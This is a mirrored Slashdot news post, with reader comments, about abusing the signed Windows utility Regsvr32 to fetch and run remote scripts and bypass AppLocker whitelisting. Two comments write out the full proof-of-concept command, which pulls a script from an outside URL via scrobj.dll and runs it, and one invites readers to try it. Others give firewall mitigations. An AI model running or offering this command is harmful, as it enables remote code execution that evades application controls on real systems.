Slashdot Mirror


Core Windows Utility Can Be Used To Bypass Whitelisting (threatpost.com)

Reader msm1267 writes: A core Windows command-line utility, Regsvr32, used to register DLLs to the Windows Registry can be abused to run remote code from the Internet, bypassing whitelisting protections such as Microsoft's AppLocker. A researcher who requested anonymity found and recently privately disclosed the issue to Microsoft. It's unknown whether Microsoft will patch this issue with a security bulletin, or in a future release. Regsvr32, also known as Microsoft Register Server, is a Microsoft-signed binary that runs as default on Windows. The researcher's proof-of-concept allows him to download and run JavaScript or VBScript from a URL provided via the command line. "There's really no patch for this; it's not an exploit. It's just using the tool in an unorthodox manner. It's a bypass, an evasion tactic," the researcher said.The Register reports: "It's built-in remote code execution without admin rights and which bypasses Windows whitelisting. I'd say it's pretty bad," said Alex Ionescu, a Windows and ARM kernel guru. The trick -- Smith didn't want to call it an exploit -- is neat because it does not touch the Registry, does not need administrator rights, can be wrapped up in an encrypted HTTP session, and should leave no trace on disk as it's a pure to-memory download. No patch exists for this, although regsvr32 can be firewalled off from the internet. Microsoft was not available for immediate comment.

9 of 118 comments (clear)

  1. Privately? by Frosty+Piss · · Score: 2

    A researcher who requested anonymity found and recently privately disclosed the issue to Microsoft.

    --
    If you want news from today, you have to come back tomorrow.
  2. Re:Not surprised by LichtSpektren · · Score: 2, Insightful

    Neither Linus Torvalds nor Red Hat have used illicit monopolist tactics to dominate the market. Hence why we don't say "Linu$", but we do say "M$".

  3. Re:Real issue is whitelist bypass by Anonymous Coward · · Score: 5, Informative

    The real issue is that regsvr32 understands URL's:

    regsvr32 /s /n /u /i:http://reg.cx/2kK3 scrobj.dll

    Running this tells Windows to fetch an XML file from the internet, which tells it to run cmd.exe. The magic here is that if you change cmd.exe for any program outside the AppLocker whitelist, bingo: it will start, in theory. regsvr32 is part of the operating system and can be used to register and unregister COM script files with the Windows Registry. /s tells regsvr32 to be silent, /n tells it not to use DllRegisterServer, /i passes an optional parameter (our URL) to DLLinstall, /u means we're trying to unregister an object, and scrobj.dll is Microsoft's Script Component Runtime.

  4. Disable Advertising by U2xhc2hkb3QgU3Vja3M · · Score: 2

    The Disable Advertising checkbox does not work.

  5. Easy Fix - No Patch Required by Mr.Intel · · Score: 5, Informative

    It's a PowerShell command: New-NetFirewallRule -DisplayName "Block Regsrvr32" -Program "%SystemRoot%\System32\regsvr32.exe" -Direction Outbound -Action Block

    --
    ASCII tastes bad dude.
    Binary it is then.
  6. Re:Real issue is whitelist bypass by geek111 · · Score: 4, Informative

    This exploit does not need admin rights. I just tried it. the request for admin rights only happens when a DLL is registered/unregistered. The flag /n prevents DLLRegisterServer from being used which defers the permission check.

    The real trick here is that regsrvr32.dll will take a URL instead of a file as a script. No one had tried that before.

    (Scared me enough I made a new firewall rule blocking outbound connections from regsrvr32.dll.)

    Anyone who wants to try the proof-of-concept just open a command prompt and enter (from the article) -

    regsvr32 /s /n /u /i:http://reg.cx/2kK3 scrobj.dll

  7. So much for responsible disclosure. by nuckfuts · · Score: 3, Interesting

    I was a bit surprised to see this researcher has published complete details of how to exploit this, such as a sample XML file for launching cmd.exe. I don't see any indication that Casey Smith attempted to report this in a responsible way, or to give the vendor a chance to respond. This kind of disclosure could potentially do a lot of harm.

  8. Re:Not surprised by myowntrueself · · Score: 4, Insightful

    Neither Linus Torvalds nor Red Hat have used illicit monopolist tactics to dominate the market. Hence why we don't say "Linu$", but we do say "M$".

    Redhat used illicit monopolist tactics to force systemd on the rest of the Linux community

    *ducks*

    --
    In the free world the media isn't government run; the government is media run.
  9. Nope by The+MAZZTer · · Score: 3, Informative

    regsvr32 does not understand DLLs. scrobj.dll does... the contents of the /i switch are passed in to the DLL. Looks like the DLL is the one with the problem.Documentation

    I expect most admins can simply block or remove the DLL with little impact on their system unless they are running some obscure program that requires it. Or, as another user suggested, firewall regsvr32 so it can't download files.